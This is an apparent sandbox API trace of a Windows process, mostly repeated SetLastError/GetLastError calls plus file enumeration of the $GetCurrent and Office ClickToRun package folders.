	[0062.115] SetLastError (dwErrCode=0x0) 
	[0062.115] GetLastError () returned 0x0
	[0062.115] SetLastError (dwErrCode=0x0) 
	[0062.115] GetLastError () returned 0x0
	[0062.115] SetLastError (dwErrCode=0x0) 
	[0062.115] GetLastError () returned 0x0
	[0062.115] SetLastError (dwErrCode=0x0) 
	[0062.115] GetLastError () returned 0x0
	[0062.115] SetLastError (dwErrCode=0x0) 
	[0062.115] GetLastError () returned 0x0
	[0062.115] SetLastError (dwErrCode=0x0) 
	[0062.115] GetLastError () returned 0x0
	[0062.115] SetLastError (dwErrCode=0x0) 
	[0062.115] GetLastError () returned 0x0
	[0062.115] SetLastError (dwErrCode=0x0) 
	[0062.115] GetLastError () returned 0x0
	[0062.116] SetLastError (dwErrCode=0x0) 
	[0062.116] GetLastError () returned 0x0
	[0062.116] SetLastError (dwErrCode=0x0) 
	[0062.116] GetLastError () returned 0x0
	[0062.116] SetLastError (dwErrCode=0x0) 
	[0062.116] GetLastError () returned 0x0
	[0062.116] SetLastError (dwErrCode=0x0) 
	[0062.116] GetLastError () returned 0x0
	[0062.116] SetLastError (dwErrCode=0x0) 
	[0062.116] GetLastError () returned 0x0
	[0062.116] SetLastError (dwErrCode=0x0) 
	[0062.116] GetLastError () returned 0x0
	[0062.116] SetLastError (dwErrCode=0x0) 
	[0062.116] GetLastError () returned 0x0
	[0062.116] SetLastError (dwErrCode=0x0) 
	[0062.116] GetLastError () returned 0x0
	[0062.116] SetLastError (dwErrCode=0x0) 
	[0062.116] GetLastError () returned 0x0
	[0062.116] SetLastError (dwErrCode=0x0) 
	[0062.116] GetLastError () returned 0x0
	[0062.116] SetLastError (dwErrCode=0x0) 
	[0062.116] GetLastError () returned 0x0
	[0062.117] SetLastError (dwErrCode=0x0) 
	[0062.117] GetLastError () returned 0x0
	[0062.117] SetLastError (dwErrCode=0x0) 
	[0062.117] GetLastError () returned 0x0
	[0062.117] SetLastError (dwErrCode=0x0) 
	[0062.117] GetLastError () returned 0x0
	[0062.117] SetLastError (dwErrCode=0x0) 
	[0062.117] GetLastError () returned 0x0
	[0062.117] SetLastError (dwErrCode=0x0) 
	[0062.117] GetLastError () returned 0x0
	[0062.117] SetLastError (dwErrCode=0x0) 
	[0062.117] GetLastError () returned 0x0
	[0062.117] SetLastError (dwErrCode=0x0) 
	[0062.117] GetLastError () returned 0x0
	[0062.117] SetLastError (dwErrCode=0x0) 
	[0062.117] GetLastError () returned 0x0
	[0062.117] SetLastError (dwErrCode=0x0) 
	[0062.117] GetLastError () returned 0x0
	[0062.117] SetLastError (dwErrCode=0x0) 
	[0062.117] GetLastError () returned 0x0
	[0062.117] SetLastError (dwErrCode=0x0) 
	[0062.117] GetLastError () returned 0x0
	[0062.118] SetLastError (dwErrCode=0x0) 
	[0062.118] GetLastError () returned 0x0
	[0062.118] SetLastError (dwErrCode=0x0) 
	[0062.118] GetLastError () returned 0x0
	[0062.118] SetLastError (dwErrCode=0x0) 
	[0062.118] GetLastError () returned 0x0
	[0062.118] SetLastError (dwErrCode=0x0) 
	[0062.118] GetLastError () returned 0x0
	[0062.118] SetLastError (dwErrCode=0x0) 
	[0062.118] GetLastError () returned 0x0
	[0062.118] SetLastError (dwErrCode=0x0) 
	[0062.118] GetLastError () returned 0x0
	[0062.118] SetLastError (dwErrCode=0x0) 
	[0062.118] GetLastError () returned 0x0
	[0062.118] SetLastError (dwErrCode=0x0) 
	[0062.118] GetLastError () returned 0x0
	[0062.118] SetLastError (dwErrCode=0x0) 
	[0062.118] GetLastError () returned 0x0
	[0062.118] SetLastError (dwErrCode=0x0) 
	[0062.118] GetLastError () returned 0x0
	[0062.118] SetLastError (dwErrCode=0x0) 
	[0062.119] GetLastError () returned 0x0
	[0062.119] SetLastError (dwErrCode=0x0) 
	[0062.119] GetLastError () returned 0x0
	[0062.119] SetLastError (dwErrCode=0x0) 
	[0062.119] GetLastError () returned 0x0
	[0062.119] SetLastError (dwErrCode=0x0) 
	[0062.119] GetLastError () returned 0x0
	[0062.119] SetLastError (dwErrCode=0x0) 
	[0062.119] GetLastError () returned 0x0
	[0062.119] SetLastError (dwErrCode=0x0) 
	[0062.119] GetLastError () returned 0x0
	[0062.119] SetLastError (dwErrCode=0x0) 
	[0062.119] SetEvent (hEvent=0x2e8) returned 1
	[0062.119] ResetEvent (hEvent=0x2ec) returned 1
	[0062.119] FindNextFileW (in: hFindFile=0xb98ea8, lpFindFileData=0x2ecf1b0 | out: lpFindFileData=0x2ecf1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1
	[0062.119] GetLastError () returned 0x0
	[0062.119] SetLastError (dwErrCode=0x0) 
	[0062.119] GetLastError () returned 0x0
	[0062.119] SetLastError (dwErrCode=0x0) 
	[0062.120] GetLastError () returned 0x0
	[0062.120] SetLastError (dwErrCode=0x0) 
	[0062.120] GetLastError () returned 0x0
	[0062.120] SetLastError (dwErrCode=0x0) 
	[0062.120] GetLastError () returned 0x0
	[0062.120] SetLastError (dwErrCode=0x0) 
	[0062.120] GetLastError () returned 0x0
	[0062.120] SetLastError (dwErrCode=0x0) 
	[0062.120] GetLastError () returned 0x0
	[0062.120] SetLastError (dwErrCode=0x0) 
	[0062.120] GetLastError () returned 0x0
	[0062.120] SetLastError (dwErrCode=0x0) 
	[0062.120] GetLastError () returned 0x0
	[0062.120] SetLastError (dwErrCode=0x0) 
	[0062.120] GetLastError () returned 0x0
	[0062.120] SetLastError (dwErrCode=0x0) 
	[0062.121] GetLastError () returned 0x0
	[0062.121] SetLastError (dwErrCode=0x0) 
	[0062.121] GetLastError () returned 0x0
	[0062.121] SetLastError (dwErrCode=0x0) 
	[0062.121] GetLastError () returned 0x0
	[0062.121] SetLastError (dwErrCode=0x0) 
	[0062.121] GetLastError () returned 0x0
	[0062.121] SetLastError (dwErrCode=0x0) 
	[0062.121] GetLastError () returned 0x0
	[0062.121] SetLastError (dwErrCode=0x0) 
	[0062.121] GetLastError () returned 0x0
	[0062.121] SetLastError (dwErrCode=0x0) 
	[0062.121] GetLastError () returned 0x0
	[0062.121] SetLastError (dwErrCode=0x0) 
	[0062.121] GetLastError () returned 0x0
	[0062.121] SetLastError (dwErrCode=0x0) 
	[0062.122] GetLastError () returned 0x0
	[0062.122] SetLastError (dwErrCode=0x0) 
	[0062.122] GetLastError () returned 0x0
	[0062.122] SetLastError (dwErrCode=0x0) 
	[0062.122] GetLastError () returned 0x0
	[0062.122] SetLastError (dwErrCode=0x0) 
	[0062.122] GetLastError () returned 0x0
	[0062.122] SetLastError (dwErrCode=0x0) 
	[0062.122] GetLastError () returned 0x0
	[0062.122] SetLastError (dwErrCode=0x0) 
	[0062.122] GetLastError () returned 0x0
	[0062.122] SetLastError (dwErrCode=0x0) 
	[0062.122] GetLastError () returned 0x0
	[0062.122] SetLastError (dwErrCode=0x0) 
	[0062.122] GetLastError () returned 0x0
	[0062.122] SetLastError (dwErrCode=0x0) 
	[0062.122] GetLastError () returned 0x0
	[0062.122] SetLastError (dwErrCode=0x0) 
	[0062.122] GetLastError () returned 0x0
	[0062.122] SetLastError (dwErrCode=0x0) 
	[0062.122] GetLastError () returned 0x0
	[0062.123] SetLastError (dwErrCode=0x0) 
	[0062.123] GetLastError () returned 0x0
	[0062.123] SetLastError (dwErrCode=0x0) 
	[0062.123] GetLastError () returned 0x0
	[0062.123] SetLastError (dwErrCode=0x0) 
	[0062.123] GetLastError () returned 0x0
	[0062.123] SetLastError (dwErrCode=0x0) 
	[0062.123] GetLastError () returned 0x0
	[0062.123] SetLastError (dwErrCode=0x0) 
	[0062.123] GetLastError () returned 0x0
	[0062.123] SetLastError (dwErrCode=0x0) 
	[0062.123] GetLastError () returned 0x0
	[0062.123] SetLastError (dwErrCode=0x0) 
	[0062.123] GetLastError () returned 0x0
	[0062.123] SetLastError (dwErrCode=0x0) 
	[0062.123] GetLastError () returned 0x0
	[0062.123] SetLastError (dwErrCode=0x0) 
	[0062.123] GetLastError () returned 0x0
	[0062.123] SetLastError (dwErrCode=0x0) 
	[0062.123] GetLastError () returned 0x0
	[0062.123] SetLastError (dwErrCode=0x0) 
	[0062.123] GetLastError () returned 0x0
	[0062.124] SetLastError (dwErrCode=0x0) 
	[0062.124] GetLastError () returned 0x0
	[0062.124] SetLastError (dwErrCode=0x0) 
	[0062.124] GetLastError () returned 0x0
	[0062.124] SetLastError (dwErrCode=0x0) 
	[0062.124] GetLastError () returned 0x0
	[0062.124] SetLastError (dwErrCode=0x0) 
	[0062.124] GetLastError () returned 0x0
	[0062.124] SetLastError (dwErrCode=0x0) 
	[0062.124] GetLastError () returned 0x0
	[0062.124] SetLastError (dwErrCode=0x0) 
	[0062.124] GetLastError () returned 0x0
	[0062.124] SetLastError (dwErrCode=0x0) 
	[0062.124] GetLastError () returned 0x0
	[0062.124] SetLastError (dwErrCode=0x0) 
	[0062.124] GetLastError () returned 0x0
	[0062.124] SetLastError (dwErrCode=0x0) 
	[0062.124] GetLastError () returned 0x0
	[0062.124] SetLastError (dwErrCode=0x0) 
	[0062.124] GetLastError () returned 0x0
	[0062.124] SetLastError (dwErrCode=0x0) 
	[0062.124] GetLastError () returned 0x0
	[0062.125] SetLastError (dwErrCode=0x0) 
	[0062.125] GetLastError () returned 0x0
	[0062.125] SetLastError (dwErrCode=0x0) 
	[0062.125] GetLastError () returned 0x0
	[0062.125] SetLastError (dwErrCode=0x0) 
	[0062.125] GetLastError () returned 0x0
	[0062.125] SetLastError (dwErrCode=0x0) 
	[0062.125] GetLastError () returned 0x0
	[0062.125] SetLastError (dwErrCode=0x0) 
	[0062.125] FindNextFileW (in: hFindFile=0xb98ea8, lpFindFileData=0x2ecf1b0 | out: lpFindFileData=0x2ecf1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1
	[0062.125] FindNextFileW (in: hFindFile=0xb98ea8, lpFindFileData=0x2ecf1b0 | out: lpFindFileData=0x2ecf1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0
	[0062.125] FindClose (in: hFindFile=0xb98ea8 | out: hFindFile=0xb98ea8) returned 1
	[0062.148] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f40080 | out: hHeap=0x2720000) returned 1
	[0062.149] FindNextFileW (in: hFindFile=0xb98e68, lpFindFileData=0x2ecf434 | out: lpFindFileData=0x2ecf434*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0062.149] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2ecf1b0 | out: lpFindFileData=0x2ecf1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb98ea8
	[0062.388] FindNextFileW (in: hFindFile=0xb98ea8, lpFindFileData=0x2ecf1b0 | out: lpFindFileData=0x2ecf1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.389] FindNextFileW (in: hFindFile=0xb98ea8, lpFindFileData=0x2ecf1b0 | out: lpFindFileData=0x2ecf1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1
	[0062.744] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0062.744] FindClose (in: hFindFile=0xbaa208 | out: hFindFile=0xbaa208) returned 1
	[0062.744] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3890078 | out: hHeap=0x2720000) returned 1
	[0062.745] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dbb3c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8512127a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8512127a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1
	[0062.745] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b22dc95, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.1.xml", cAlternateFileName="DEPLOY~3.XML")) returned 1
	[0062.745] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534ee362, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c4413a9, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.2.xml", cAlternateFileName="DEPLOY~2.XML")) returned 1
	[0062.745] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1
	[0062.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\*", lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa788
	[0062.746] FindNextFileW (in: hFindFile=0xbaa788, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.746] FindNextFileW (in: hFindFile=0xbaa788, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1
	[0062.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*", lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa508
	[0062.747] FindNextFileW (in: hFindFile=0xbaa508, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.747] FindNextFileW (in: hFindFile=0xbaa508, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1
	[0062.747] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*", lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa7c8
	[0062.747] FindNextFileW (in: hFindFile=0xbaa7c8, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.748] FindNextFileW (in: hFindFile=0xbaa7c8, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1
	[0062.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\*", lpFindFileData=0x2ece51c | out: lpFindFileData=0x2ece51c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa208
	[0062.748] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2ece51c | out: lpFindFileData=0x2ece51c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.748] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2ece51c | out: lpFindFileData=0x2ece51c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 1
	[0062.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\*", lpFindFileData=0x2ece298 | out: lpFindFileData=0x2ece298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa248
	[0062.749] FindNextFileW (in: hFindFile=0xbaa248, lpFindFileData=0x2ece298 | out: lpFindFileData=0x2ece298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.749] FindNextFileW (in: hFindFile=0xbaa248, lpFindFileData=0x2ece298 | out: lpFindFileData=0x2ece298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3c4670e0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfiguration.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1
	[0062.749] FindNextFileW (in: hFindFile=0xbaa248, lpFindFileData=0x2ece298 | out: lpFindFileData=0x2ece298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manifest.xml", cAlternateFileName="")) returned 1
	[0062.749] FindNextFileW (in: hFindFile=0xbaa248, lpFindFileData=0x2ece298 | out: lpFindFileData=0x2ece298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8639b81c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf39b2ab6, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3c4670e0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserDeploymentConfiguration.xml", cAlternateFileName="USERDE~1.XML")) returned 1
	[0062.750] FindNextFileW (in: hFindFile=0xbaa248, lpFindFileData=0x2ece298 | out: lpFindFileData=0x2ece298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf36dde8c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x42b5f096, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x38e9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserManifest.xml", cAlternateFileName="USERMA~1.XML")) returned 1
